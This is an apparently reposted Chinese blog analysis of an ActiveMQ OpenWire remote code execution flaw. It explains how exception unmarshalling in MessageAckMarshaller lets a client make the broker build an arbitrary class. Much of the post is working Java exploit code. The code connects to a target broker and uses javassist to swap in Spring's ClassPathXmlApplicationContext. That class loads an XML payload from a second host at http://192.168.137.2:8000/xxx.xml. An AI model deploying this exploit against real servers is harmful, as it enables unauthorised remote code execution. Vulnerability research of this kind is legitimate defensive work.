ActiveMQ新RCE分析

渗透技巧 6个月前 admin
164 0 0

经过文档对比,发现新增类OpenWireUtil#validateIsThrowable

ActiveMQ新RCE分析

对上级调用进行分析,比较明显的任意类构造方法调用,并且activeMQ包含了spring的相关依赖,sink点有了

ActiveMQ新RCE分析

该漏洞影响openwire协议,该协议是activeMQ内置的默认协议,即61616端口,该端口也是生产者消费者交互的端口

ActiveMQ新RCE分析



寻找入口点时发现还是挺多方法调用了sink点,通过翻阅源码和官方文档寻找到了MessageAckMarshaller类,该类是用于消息中间件的消息确认机制,简单来说就是消费者在消费了消息后会向activeMQ发送一个确认的消息,而这个确认的消息会由MessageAckMarshaller的tightUnmarshal进行解析,而tightUnmarshal会调用tightUnmarsalThrowable进行异常解析,触发到我们的sink点,且clazz和message均来自TCP协议中可控,从而rce

ActiveMQ新RCE分析

而客户端发送的这个确认消息本身由active客户端自动完成。但是我们可以进行类构造调用activeMQ的api主动发送一个确认消息,通过阅读文档确认需要发送的消息体的类是org.apache.activemq.state.CommandVisitor.MessageAck

直接上源码

        //Class<?> modifiedClass = getClasses();
       // 创建一个 ConnectionFactory 对象
       ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://192.168.137.198:61616");

// 使用 ConnectionFactory 创建一个 Connection
       Connection connection = factory.createConnection();

// 启动 Connection
       connection.start();

// 创建一个 Session
       Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);

// 创建一个 Destination
       Destination destination = session.createQueue("MY.QUEUE");

// 创建一个消费者
       MessageConsumer consumer = session.createConsumer(destination);

// 消费消息
       Message message = consumer.receive();


       MessageAck ack = new MessageAck((ActiveMQMessage) message, MessageAck.STANDARD_ACK_TYPE, 1);
       ack.setPoisonCause(new Exception("xxxx"));

// 使用 ActiveMQConnection 的 getTransportChannel().oneway() 方法发送 MessageAck
      ((ActiveMQConnection)connection).getTransportChannel().oneway(ack);

// 关闭资源
       consumer.close();
       session.close();
       connection.close();

而服务端解析的就是setPoisonCause方法所设置的类,比如这里服务端就会解析为java.lang.Exception,message为xxxx,可以看到这里设置的类只能是Throwable的子类,但是别忘了这是客户端,服务端可以是任意类,最终都会解析为字节码,可以进行随意更改,或者直接逆向协议向服务端发送字节给服务端解析

ActiveMQ新RCE分析

这里偷个懒不逆向协议,借助javaassit动态修改该方法org.apache.activemq.openwire.v12.BaseDataStreamMarshaller#tightMarshalThrowable2

 // 创建一个 ClassPool
      ClassPool pool = ClassPool.getDefault();

      CtClass cc = pool.get("org.apache.activemq.openwire.v12.BaseDataStreamMarshaller");
      System.out.println("xxxx");

      CtMethod oldMethod = cc.getDeclaredMethod("tightMarshalString2");
      CtMethod cccMethod = cc.getDeclaredMethod("tightMarshalString1");
      oldMethod.insertBefore("if($1 != null && $1.equals("java.lang.Exception")){$1="org.springframework.context.support.ClassPathXmlApplicationContext";}" +
              "if($1 != null && $1.equals("xxxx")){$1="http://192.168.137.2:8000/xxx.xml";}");

      cccMethod.insertBefore("if($1 != null && $1.equals("java.lang.Exception")){$1="org.springframework.context.support.ClassPathXmlApplicationContext";}");

      //oldMethod.insertBefore("System.out.println("xxxx");");



      // 将修改后的类加载到当前 ClassLoader
      Class<?> modifiedClass = cc.toClass();

这段代码会让生成的字节动态修改为我们的恶意类

ActiveMQ新RCE分析

当然还有其它入口点吗,就不一一列举,修复方案就是跟客户端一样限制了类只能为throwable的子类


原文始发于微信公众号(非叶安全):ActiveMQ新RCE分析

版权声明:admin 发表于 2023年10月25日 下午8:23。
转载请注明:ActiveMQ新RCE分析 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...